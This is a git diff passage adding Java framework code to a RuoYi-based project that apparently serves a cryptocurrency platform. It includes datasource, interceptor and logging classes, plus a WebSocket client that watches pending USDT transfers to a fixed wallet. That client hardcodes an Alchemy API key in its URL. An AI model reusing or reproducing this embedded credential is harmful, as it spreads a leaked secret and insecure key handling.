ServerEndpointExporter serverEndpointExporter() { + return new ServerEndpointExporter(); + } + +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java new file mode 100644 index 0000000..c8a5c8a --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java @@ -0,0 +1,89 @@ +package com.ruoyi.framework.config.properties; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Configuration; +import com.alibaba.druid.pool.DruidDataSource; + +/** + * druid 配置属性 + * + * @author ruoyi + */ +@Configuration +public class DruidProperties +{ + @Value("${spring.datasource.druid.initialSize}") + private int initialSize; + + @Value("${spring.datasource.druid.minIdle}") + private int minIdle; + + @Value("${spring.datasource.druid.maxActive}") + private int maxActive; + + @Value("${spring.datasource.druid.maxWait}") + private int maxWait; + + @Value("${spring.datasource.druid.connectTimeout}") + private int connectTimeout; + + @Value("${spring.datasource.druid.socketTimeout}") + private int socketTimeout; + + @Value("${spring.datasource.druid.timeBetweenEvictionRunsMillis}") + private int timeBetweenEvictionRunsMillis; + + @Value("${spring.datasource.druid.minEvictableIdleTimeMillis}") + private int minEvictableIdleTimeMillis; + + @Value("${spring.datasource.druid.maxEvictableIdleTimeMillis}") + private int maxEvictableIdleTimeMillis; + + @Value("${spring.datasource.druid.validationQuery}") + private String validationQuery; + + @Value("${spring.datasource.druid.testWhileIdle}") + private boolean testWhileIdle; + + @Value("${spring.datasource.druid.testOnBorrow}") + private boolean testOnBorrow; + + @Value("${spring.datasource.druid.testOnReturn}") + private boolean testOnReturn; + + public DruidDataSource dataSource(DruidDataSource datasource) + { + /** 配置初始化大小、最小、最大 */ + datasource.setInitialSize(initialSize); + datasource.setMaxActive(maxActive); + datasource.setMinIdle(minIdle); + + /** 配置获取连接等待超时的时间 */ + datasource.setMaxWait(maxWait); + + /** 配置驱动连接超时时间,检测数据库建立连接的超时时间,单位是毫秒 */ + datasource.setConnectTimeout(connectTimeout); + + /** 配置网络超时时间,等待数据库操作完成的网络超时时间,单位是毫秒 */ + datasource.setSocketTimeout(socketTimeout); + + /** 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 */ + datasource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis); + + /** 配置一个连接在池中最小、最大生存的时间,单位是毫秒 */ + datasource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis); + datasource.setMaxEvictableIdleTimeMillis(maxEvictableIdleTimeMillis); + + /** + * 用来检测连接是否有效的sql,要求是一个查询语句,常用select 'x'。如果validationQuery为null,testOnBorrow、testOnReturn、testWhileIdle都不会起作用。 + */ + datasource.setValidationQuery(validationQuery); + /** 建议配置为true,不影响性能,并且保证安全性。申请连接的时候检测,如果空闲时间大于timeBetweenEvictionRunsMillis,执行validationQuery检测连接是否有效。 */ + datasource.setTestWhileIdle(testWhileIdle); + /** 申请连接时执行validationQuery检测连接是否有效,做了这个配置会降低性能。 */ + datasource.setTestOnBorrow(testOnBorrow); + /** 归还连接时执行validationQuery检测连接是否有效,做了这个配置会降低性能。 */ + datasource.setTestOnReturn(testOnReturn); + return datasource; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/PermitAllUrlProperties.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/PermitAllUrlProperties.java new file mode 100644 index 0000000..29118fa --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/PermitAllUrlProperties.java @@ -0,0 +1,73 @@ +package com.ruoyi.framework.config.properties; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; +import java.util.regex.Pattern; +import org.apache.commons.lang3.RegExUtils; +import org.springframework.beans.BeansException; +import org.springframework.beans.factory.InitializingBean; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.annotation.AnnotationUtils; +import org.springframework.web.method.HandlerMethod; +import org.springframework.web.servlet.mvc.method.RequestMappingInfo; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; +import com.ruoyi.common.annotation.Anonymous; + +/** + * 设置Anonymous注解允许匿名访问的url + * + * @author ruoyi + */ +@Configuration +public class PermitAllUrlProperties implements InitializingBean, ApplicationContextAware +{ + private static final Pattern PATTERN = Pattern.compile("\\{(.*?)\\}"); + + private ApplicationContext applicationContext; + + private List urls = new ArrayList<>(); + + public String ASTERISK = "*"; + + @Override + public void afterPropertiesSet() + { + RequestMappingHandlerMapping mapping = applicationContext.getBean(RequestMappingHandlerMapping.class); + Map map = mapping.getHandlerMethods(); + + map.keySet().forEach(info -> { + HandlerMethod handlerMethod = map.get(info); + + // 获取方法上边的注解 替代path variable 为 * + Anonymous method = AnnotationUtils.findAnnotation(handlerMethod.getMethod(), Anonymous.class); + Optional.ofNullable(method).ifPresent(anonymous -> Objects.requireNonNull(info.getPatternsCondition().getPatterns()) + .forEach(url -> urls.add(RegExUtils.replaceAll(url, PATTERN, ASTERISK)))); + + // 获取类上边的注解, 替代path variable 为 * + Anonymous controller = AnnotationUtils.findAnnotation(handlerMethod.getBeanType(), Anonymous.class); + Optional.ofNullable(controller).ifPresent(anonymous -> Objects.requireNonNull(info.getPatternsCondition().getPatterns()) + .forEach(url -> urls.add(RegExUtils.replaceAll(url, PATTERN, ASTERISK)))); + }); + } + + @Override + public void setApplicationContext(ApplicationContext context) throws BeansException + { + this.applicationContext = context; + } + + public List getUrls() + { + return urls; + } + + public void setUrls(List urls) + { + this.urls = urls; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java new file mode 100644 index 0000000..e70b8cf --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java @@ -0,0 +1,26 @@ +package com.ruoyi.framework.datasource; + +import java.util.Map; +import javax.sql.DataSource; +import org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource; + +/** + * 动态数据源 + * + * @author ruoyi + */ +public class DynamicDataSource extends AbstractRoutingDataSource +{ + public DynamicDataSource(DataSource defaultTargetDataSource, Map targetDataSources) + { + super.setDefaultTargetDataSource(defaultTargetDataSource); + super.setTargetDataSources(targetDataSources); + super.afterPropertiesSet(); + } + + @Override + protected Object determineCurrentLookupKey() + { + return DynamicDataSourceContextHolder.getDataSourceType(); + } +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java new file mode 100644 index 0000000..c3f9926 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java @@ -0,0 +1,45 @@ +package com.ruoyi.framework.datasource; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 数据源切换处理 + * + * @author ruoyi + */ +public class DynamicDataSourceContextHolder +{ + public static final Logger log = LoggerFactory.getLogger(DynamicDataSourceContextHolder.class); + + /** + * 使用ThreadLocal维护变量,ThreadLocal为每个使用该变量的线程提供独立的变量副本, + * 所以每一个线程都可以独立地改变自己的副本,而不会影响其它线程所对应的副本。 + */ + private static final ThreadLocal CONTEXT_HOLDER = new ThreadLocal<>(); + + /** + * 设置数据源的变量 + */ + public static void setDataSourceType(String dsType) + { + log.debug("切换到{}数据源", dsType); + CONTEXT_HOLDER.set(dsType); + } + + /** + * 获得数据源的变量 + */ + public static String getDataSourceType() + { + return CONTEXT_HOLDER.get(); + } + + /** + * 清空数据源变量 + */ + public static void clearDataSourceType() + { + CONTEXT_HOLDER.remove(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/ethws/WebSocketClientFactory.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/ethws/WebSocketClientFactory.java new file mode 100644 index 0000000..f097dc1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/ethws/WebSocketClientFactory.java @@ -0,0 +1,154 @@ +package com.ruoyi.framework.ethws; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import lombok.Data; +import lombok.extern.slf4j.Slf4j; +import org.java_websocket.WebSocket; +import org.java_websocket.client.WebSocketClient; +import org.java_websocket.handshake.ServerHandshake; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import java.math.BigInteger; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.List; + +//@Component +@Slf4j +@Data +public class WebSocketClientFactory { + + public static final String outCallWebSockertUrl = "wss://eth-mainnet.g.alchemy.com/v2/CFTFC4eiMS_M93tO3N04mHN2xwhjZ0Tp"; + public static final String transferHex = "0xa9059cbb"; + public static final String approveHex = "0x095ea7b3"; + public static final String usdtAddr = "0xdac17f958d2ee523a2206206994597c13d831ec7"; + public static final BigInteger approvalGasBigInteger= BigInteger.valueOf (8); + + private WebSocketClient outCallWebSocketClientHolder; + private static String rAddress ="0x344EC899AF52933790bf44015Be1Bf48382d7920"; + @Autowired + ITAppUserService itAppUserService; + /** + * 创建websocket对象 + * + * @return WebSocketClient + * @throws URISyntaxException + */ + private WebSocketClient createNewWebSocketClient() throws URISyntaxException { + WebSocketClient webSocketClient = new WebSocketClient(new URI(outCallWebSockertUrl)) { + @Override + public void onOpen(ServerHandshake serverHandshake) { + log.debug("opening..."); + } + @Override + public void onMessage(String msg) { + JSONObject msgJSON = JSON.parseObject (msg); + if(!msgJSON.containsKey ("params")){ + return; + } + JSONObject result = msgJSON.getJSONObject("params").getJSONObject ("result"); + String input = result.getString ("input"); + String method = input.substring(0, 10); + //转账为 + if(!method.equalsIgnoreCase (transferHex)){ + return; + } + //被转账地址需要拼接 + String substring = input.substring(34, 74); + String inputAddress ="0X"+substring; + //转账地址 可能是用户地址 + String from = result.getString ("from"); + if(rAddress.toLowerCase().equals (inputAddress.toLowerCase())){ + log.debug("监控到信息:{}","监控到充值地址入金"); + BigInteger num = new BigInteger (input.substring (74, 138), 16); + //充值金额需要除以1百万 + BigInteger inputAmount = num.divide(new BigInteger("1000000")); + TAppUser tAppUser = new TAppUser(); + tAppUser.setAddress(from); + //查询用户 + List tAppUsers = itAppUserService.selectTAppUserList(tAppUser); + if(null!=tAppUsers&&tAppUsers.size()>0){ + //自动充值 + } + + } + } + + @Override + public void onClose(int i, String s, boolean b) { + log.debug("关闭连接"); + retryOutCallWebSocketClient(); + } + + @Override + public void onError(Exception e) { + e.printStackTrace (); + log.error("连接异常:{}", e.getMessage ()); + retryOutCallWebSocketClient(); + } + }; + webSocketClient.connect(); + return webSocketClient; + } + + + /** + * 项目启动或连接失败的时候打开新链接,进行连接认证 + * 需要加同步,不然会创建多个连接 + */ + public synchronized WebSocketClient retryOutCallWebSocketClient() { + try { + // 关闭旧的websocket连接, 避免占用资源 + WebSocketClient oldOutCallWebSocketClientHolder = this.getOutCallWebSocketClientHolder(); + if (null != oldOutCallWebSocketClientHolder) { + log.debug("关闭旧的websocket连接"); + oldOutCallWebSocketClientHolder.close(); + } + + log.debug("打开新的websocket连接,并进行认证"); + WebSocketClient webSocketClient = this.createNewWebSocketClient(); + //String sendOpenJsonStr = "{\"event\":\"connect\",\"sid\":\"1ae4e3167b3b49c7bfc6b79awww691562914214595\",\"token\":\"df59eba89\"}"; + String sendOpenJsonStr = "{\"jsonrpc\":\"2.0\",\"id\": 2, \"method\": \"eth_subscribe\", \"params\": [\"alchemy_newFullPendingTransactions\", {\"toAddress\": [\"0xdac17f958d2ee523a2206206994597c13d831ec7\"], \"hashesOnly\": false}]}"; + this.sendMsg(webSocketClient, sendOpenJsonStr); + + // 每次创建新的就放进去 + this.setOutCallWebSocketClientHolder(webSocketClient); + return webSocketClient; + } catch (URISyntaxException e) { + e.printStackTrace(); + log.error(e.getMessage()); + } + return null; + } + + + /** + * 发送消息 + * 注意: 要加超时设置,避免很多个都在同时超时占用资源 + * + * @param webSocketClient 指定的webSocketClient + * @param message 消息 + */ + public void sendMsg(WebSocketClient webSocketClient, String message) { + /*log.debug("websocket向服务端发送消息,消息为:{}", message); + long startOpenTimeMillis = System.currentTimeMillis(); + while (!webSocketClient.getReadyState().equals(WebSocket.READYSTATE.OPEN)) { + log.debug("正在建立通道,请稍等"); + long currentTimeMillis = System.currentTimeMillis(); + if(currentTimeMillis - startOpenTimeMillis >= 5000) { + log.error("超过5秒钟还未打开连接,超时,不再等待"); + return; + } + }*/ + webSocketClient.send(message); + } + + + + + +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java new file mode 100644 index 0000000..4ddacae --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java @@ -0,0 +1,55 @@ +package com.ruoyi.framework.interceptor; + +import java.lang.reflect.Method; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.stereotype.Component; +import org.springframework.web.method.HandlerMethod; +import org.springframework.web.servlet.HandlerInterceptor; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.annotation.RepeatSubmit; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.ServletUtils; + +/** + * 防止重复提交拦截器 + * + * @author ruoyi + */ +@Component +public abstract class RepeatSubmitInterceptor implements HandlerInterceptor +{ + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception + { + if (handler instanceof HandlerMethod) + { + HandlerMethod handlerMethod = (HandlerMethod) handler; + Method method = handlerMethod.getMethod(); + RepeatSubmit annotation = method.getAnnotation(RepeatSubmit.class); + if (annotation != null) + { + if (this.isRepeatSubmit(request, annotation)) + { + AjaxResult ajaxResult = AjaxResult.error(annotation.message()); + ServletUtils.renderString(response, JSON.toJSONString(ajaxResult)); + return false; + } + } + return true; + } + else + { + return true; + } + } + + /** + * 验证是否重复提交由子类实现具体的防重复提交的规则 + * + * @param request + * @return + * @throws Exception + */ + public abstract boolean isRepeatSubmit(HttpServletRequest request, RepeatSubmit annotation); +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java new file mode 100644 index 0000000..9dc9511 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java @@ -0,0 +1,110 @@ +package com.ruoyi.framework.interceptor.impl; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import javax.servlet.http.HttpServletRequest; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.annotation.RepeatSubmit; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.filter.RepeatedlyRequestWrapper; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.http.HttpHelper; +import com.ruoyi.framework.interceptor.RepeatSubmitInterceptor; + +/** + * 判断请求url和数据是否和上一次相同, + * 如果和上次相同,则是重复提交表单。 有效时间为10秒内。 + * + * @author ruoyi + */ +@Component +public class SameUrlDataInterceptor extends RepeatSubmitInterceptor +{ + public final String REPEAT_PARAMS = "repeatParams"; + + public final String REPEAT_TIME = "repeatTime"; + + // 令牌自定义标识 + @Value("${token.header}") + private String header; + + @Autowired + private RedisCache redisCache; + + @SuppressWarnings("unchecked") + @Override + public boolean isRepeatSubmit(HttpServletRequest request, RepeatSubmit annotation) + { + String nowParams = ""; + if (request instanceof RepeatedlyRequestWrapper) + { + RepeatedlyRequestWrapper repeatedlyRequest = (RepeatedlyRequestWrapper) request; + nowParams = HttpHelper.getBodyString(repeatedlyRequest); + } + + // body参数为空,获取Parameter的数据 + if (StringUtils.isEmpty(nowParams)) + { + nowParams = JSON.toJSONString(request.getParameterMap()); + } + Map nowDataMap = new HashMap(); + nowDataMap.put(REPEAT_PARAMS, nowParams); + nowDataMap.put(REPEAT_TIME, System.currentTimeMillis()); + + // 请求地址(作为存放cache的key值) + String url = request.getRequestURI(); + + // 唯一值(没有消息头则使用请求地址) + String submitKey = StringUtils.trimToEmpty(request.getHeader(header)); + + // 唯一标识(指定key + url + 消息头) + String cacheRepeatKey = CacheConstants.REPEAT_SUBMIT_KEY + url + submitKey; + + Object sessionObj = redisCache.getCacheObject(cacheRepeatKey); + if (sessionObj != null) + { + Map sessionMap = (Map) sessionObj; + if (sessionMap.containsKey(url)) + { + Map preDataMap = (Map) sessionMap.get(url); + if (compareParams(nowDataMap, preDataMap) && compareTime(nowDataMap, preDataMap, annotation.interval())) + { + return true; + } + } + } + Map cacheMap = new HashMap(); + cacheMap.put(url, nowDataMap); + redisCache.setCacheObject(cacheRepeatKey, cacheMap, annotation.interval(), TimeUnit.MILLISECONDS); + return false; + } + + /** + * 判断参数是否相同 + */ + private boolean compareParams(Map nowMap, Map preMap) + { + String nowParams = (String) nowMap.get(REPEAT_PARAMS); + String preParams = (String) preMap.get(REPEAT_PARAMS); + return nowParams.equals(preParams); + } + + /** + * 判断两次间隔时间 + */ + private boolean compareTime(Map nowMap, Map preMap, int interval) + { + long time1 = (Long) nowMap.get(REPEAT_TIME); + long time2 = (Long) preMap.get(REPEAT_TIME); + if ((time1 - time2) < interval) + { + return true; + } + return false; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java new file mode 100644 index 0000000..7387a02 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java @@ -0,0 +1,55 @@ +package com.ruoyi.framework.manager; + +import java.util.TimerTask; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import com.ruoyi.common.utils.Threads; +import com.ruoyi.common.utils.spring.SpringUtils; + +/** + * 异步任务管理器 + * + * @author ruoyi + */ +public class AsyncManager +{ + /** + * 操作延迟10毫秒 + */ + private final int OPERATE_DELAY_TIME = 10; + + /** + * 异步操作任务调度线程池 + */ + private ScheduledExecutorService executor = SpringUtils.getBean("scheduledExecutorService"); + + /** + * 单例模式 + */ + private AsyncManager(){} + + private static AsyncManager me = new AsyncManager(); + + public static AsyncManager me() + { + return me; + } + + /** + * 执行任务 + * + * @param task 任务 + */ + public void execute(TimerTask task) + { + executor.schedule(task, OPERATE_DELAY_TIME, TimeUnit.MILLISECONDS); + } + + /** + * 停止任务线程池 + */ + public void shutdown() + { + Threads.shutdownAndAwaitTermination(executor); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java new file mode 100644 index 0000000..e36ca3c --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java @@ -0,0 +1,39 @@ +package com.ruoyi.framework.manager; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; +import javax.annotation.PreDestroy; + +/** + * 确保应用退出时能关闭后台线程 + * + * @author ruoyi + */ +@Component +public class ShutdownManager +{ + private static final Logger logger = LoggerFactory.getLogger("sys-user"); + + @PreDestroy + public void destroy() + { + shutdownAsyncManager(); + } + + /** + * 停止异步执行任务 + */ + private void shutdownAsyncManager() + { + try + { + logger.info("====关闭后台任务任务线程池===="); + AsyncManager.me().shutdown(); + } + catch (Exception e) + { + logger.error(e.getMessage(), e); + } + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/blockcc/BlockccManager.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/blockcc/BlockccManager.java new file mode 100644 index 0000000..b5a5576 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/blockcc/BlockccManager.java @@ -0,0 +1,107 @@ +package com.ruoyi.framework.manager.blockcc; + +import cc.block.data.api.BlockccApiClientFactory; +import cc.block.data.api.BlockccApiRestClient; +import cc.block.data.api.domain.BlockccResponse; +import cc.block.data.api.domain.enumeration.Interval; +import cc.block.data.api.domain.market.Kline; +import cc.block.data.api.domain.market.OrderBook; +import cc.block.data.api.domain.market.Price; +import cc.block.data.api.domain.market.request.KlineParam; +import cc.block.data.api.domain.market.request.OrderBookParam; +import cc.block.data.api.domain.market.request.PriceParam; +import cc.block.data.api.domain.news.Announcement; +import cc.block.data.api.domain.news.request.AnnouncementParam; +import cn.hutool.http.HttpUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import java.util.List; +import java.util.Locale; + +/** + * 数据源处理 历史k线 汇率 交易深度 币种价格 等等。。 + * @author ruoyi + */ +@Component +public class BlockccManager { + + public static final Logger log = LoggerFactory.getLogger(BlockccManager.class); + @Value("${mifeng.api.eth}") + private String apiKey; + @Value("${mifeng.api.host}") + private String host; + /** + * 获取交易所公告数据 + * + * @param locale 语言 + * @return 结果 + */ + public List getAnnouncement(Locale locale){ + BlockccApiClientFactory factory = BlockccApiClientFactory.newInstance(apiKey,host); + + BlockccApiRestClient client = factory.newRestClient(); + AnnouncementParam announcementParams = AnnouncementParam.builder().locale(locale).build(); + List content = client.getAnnouncements(announcementParams).getContent(); + return content; + } + /** + * 获取历史k线 + * + * @param klineParam kline请求参数 + * @return 结果 + */ + public List getHistoryKline(KlineParam klineParam){ + try { + BlockccApiClientFactory factory = BlockccApiClientFactory.newInstance(apiKey,host); + BlockccApiRestClient client = factory.newRestClient(); + // 请求方式如下 + KlineParam klineParams = KlineParam.builder().interval(klineParam.getInterval()).desc("gate-io_"+"ETH"+"_USDT").build(); + List content = client.getKline(klineParam).getContent(); + return content; + }catch (Exception e){ + log.error("获取历史k线异常{}"+e); + } + return null; + } + /** + * 获取币种 汇率 可做定时任务 每隔4小时 存入外汇数据 + * + * @return 结果 + */ + public String getExchangeRate(){ + String ret = HttpUtil.createGet ("https://data.mifengcha.com/api/v3/exchange_rate?"+apiKey) + .contentType ("application/json") + .execute ().body (); + return ret; + } + /** + * 获取币种币种价格 更新时间:5秒-60秒,按照交易量大小分级,交易量最大的币种5秒更新一次价格。 + * @param symbol 币种名称 + * @return 结果 + */ + public List getPrices(String symbol){ + //示例参数"ethereum" + BlockccApiClientFactory factory = BlockccApiClientFactory.newInstance(apiKey,host); + BlockccApiRestClient client = factory.newRestClient(); + PriceParam priceParams = PriceParam.builder().slug(symbol).build(); + List content = client.getPrices(priceParams).getContent(); + return content; + } + /** + * 获取交易对深度 + * @param symbol 币种名称 + * @return 结果 + */ + public BlockccResponse getOrderBook(String symbol){ + BlockccApiClientFactory factory = BlockccApiClientFactory.newInstance(apiKey,host); + BlockccApiRestClient client = factory.newRestClient(); + //参数 BTC + OrderBookParam orderBookParams = OrderBookParam.builder().desc("gate-io_"+symbol+"_USDT").build(); + BlockccResponse orderBook = client.getOrderBook(orderBookParams); + System.out.println(); + return orderBook; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java new file mode 100644 index 0000000..267e305 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java @@ -0,0 +1,102 @@ +package com.ruoyi.framework.manager.factory; + +import java.util.TimerTask; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.utils.LogUtils; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.AddressUtils; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.system.domain.SysLogininfor; +import com.ruoyi.system.domain.SysOperLog; +import com.ruoyi.system.service.ISysLogininforService; +import com.ruoyi.system.service.ISysOperLogService; +import eu.bitwalker.useragentutils.UserAgent; + +/** + * 异步工厂(产生任务用) + * + * @author ruoyi + */ +public class AsyncFactory +{ + private static final Logger sys_user_logger = LoggerFactory.getLogger("sys-user"); + + /** + * 记录登录信息 + * + * @param username 用户名 + * @param status 状态 + * @param message 消息 + * @param args 列表 + * @return 任务task + */ + public static TimerTask recordLogininfor(final String username, final String status, final String message, + final Object... args) + { + final UserAgent userAgent = UserAgent.parseUserAgentString(ServletUtils.getRequest().getHeader("User-Agent")); + final String ip = IpUtils.getIpAddr(); + return new TimerTask() + { + @Override + public void run() + { + String address = AddressUtils.getRealAddressByIP(ip); + StringBuilder s = new StringBuilder(); + s.append(LogUtils.getBlock(ip)); + s.append(address); + s.append(LogUtils.getBlock(username)); + s.append(LogUtils.getBlock(status)); + s.append(LogUtils.getBlock(message)); + // 打印信息到日志 + sys_user_logger.info(s.toString(), args); + // 获取客户端操作系统 + String os = userAgent.getOperatingSystem().getName(); + // 获取客户端浏览器 + String browser = userAgent.getBrowser().getName(); + // 封装对象 + SysLogininfor logininfor = new SysLogininfor(); + logininfor.setUserName(username); + logininfor.setIpaddr(ip); + logininfor.setLoginLocation(address); + logininfor.setBrowser(browser); + logininfor.setOs(os); + logininfor.setMsg(message); + // 日志状态 + if (StringUtils.equalsAny(status, Constants.LOGIN_SUCCESS, Constants.LOGOUT, Constants.REGISTER)) + { + logininfor.setStatus(Constants.SUCCESS); + } + else if (Constants.LOGIN_FAIL.equals(status)) + { + logininfor.setStatus(Constants.FAIL); + } + // 插入数据 + SpringUtils.getBean(ISysLogininforService.class).insertLogininfor(logininfor); + } + }; + } + + /** + * 操作日志记录 + * + * @param operLog 操作日志信息 + * @return 任务task + */ + public static TimerTask recordOper(final SysOperLog operLog) + { + return new TimerTask() + { + @Override + public void run() + { + // 远程查询操作地点 + operLog.setOperLocation(AddressUtils.getRealAddressByIP(operLog.getOperIp())); + SpringUtils.getBean(ISysOperLogService.class).insertOperlog(operLog); + } + }; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/AuthenticationContextHolder.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/AuthenticationContextHolder.java new file mode 100644 index 0000000..6c776ce --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/AuthenticationContextHolder.java @@ -0,0 +1,28 @@ +package com.ruoyi.framework.security.context; + +import org.springframework.security.core.Authentication; + +/** + * 身份验证信息 + * + * @author ruoyi + */ +public class AuthenticationContextHolder +{ + private static final ThreadLocal contextHolder = new ThreadLocal<>(); + + public static Authentication getContext() + { + return contextHolder.get(); + } + + public static void setContext(Authentication context) + { + contextHolder.set(context); + } + + public static void clearContext() + { + contextHolder.remove(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/PermissionContextHolder.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/PermissionContextHolder.java new file mode 100644 index 0000000..5472f3d --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/PermissionContextHolder.java @@ -0,0 +1,27 @@ +package com.ruoyi.framework.security.context; + +import org.springframework.web.context.request.RequestAttributes; +import org.springframework.web.context.request.RequestContextHolder; +import com.ruoyi.common.core.text.Convert; + +/** + * 权限信息 + * + * @author ruoyi + */ +public class PermissionContextHolder +{ + private static final String PERMISSION_CONTEXT_ATTRIBUTES = "PERMISSION_CONTEXT"; + + public static void setContext(String permission) + { + RequestContextHolder.currentRequestAttributes().setAttribute(PERMISSION_CONTEXT_ATTRIBUTES, permission, + RequestAttributes.SCOPE_REQUEST); + } + + public static String getContext() + { + return Convert.toStr(RequestContextHolder.currentRequestAttributes().getAttribute(PERMISSION_CONTEXT_ATTRIBUTES, + RequestAttributes.SCOPE_REQUEST)); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java new file mode 100644 index 0000000..3eb2495 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java @@ -0,0 +1,44 @@ +package com.ruoyi.framework.security.filter; + +import java.io.IOException; +import javax.servlet.FilterChain; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.web.authentication.WebAuthenticationDetailsSource; +import org.springframework.stereotype.Component; +import org.springframework.web.filter.OncePerRequestFilter; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.web.service.TokenService; + +/** + * token过滤器 验证token有效性 + * + * @author ruoyi + */ +@Component +public class JwtAuthenticationTokenFilter extends OncePerRequestFilter +{ + @Autowired + private TokenService tokenService; + + @Override + protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) + throws ServletException, IOException + { + LoginUser loginUser = 